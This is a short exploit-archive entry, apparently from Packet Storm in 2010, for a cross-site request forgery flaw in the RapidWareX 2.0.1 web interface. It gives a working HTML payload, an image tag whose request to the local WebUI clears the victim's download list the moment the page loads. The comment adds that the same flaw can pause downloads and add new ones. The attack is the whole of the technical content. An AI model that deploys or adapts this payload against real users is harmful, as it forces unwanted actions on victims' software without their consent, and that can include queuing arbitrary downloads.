RapidWareX 2.0.1 Cross Site Request Forgery

2010-05-27T00:00:00
ID PACKETSTORM:89976
Type packetstorm
Reporter l3D
Modified 2010-05-27T00:00:00

Description

                                        
                                            `  
  
<!--  
RapidWareX v2.0.1 (WebUI) CSRF Exploit  
Author: l3D  
Sites: http://xraysecurity.blogspot.com, http://nullbyte.org.il  
IRC: irc://irc.nix.co.il  
Email: pupipup33@gmail.com  
  
This vulnerability lets the attacker do couple of operations, such as pausing,  
clearing and adding downloads to the download list.  
The example below clears all the downloads when the victim enters the page.  
-->  
<img src="http://localhost:8080/ClearAll" />  
  
  
`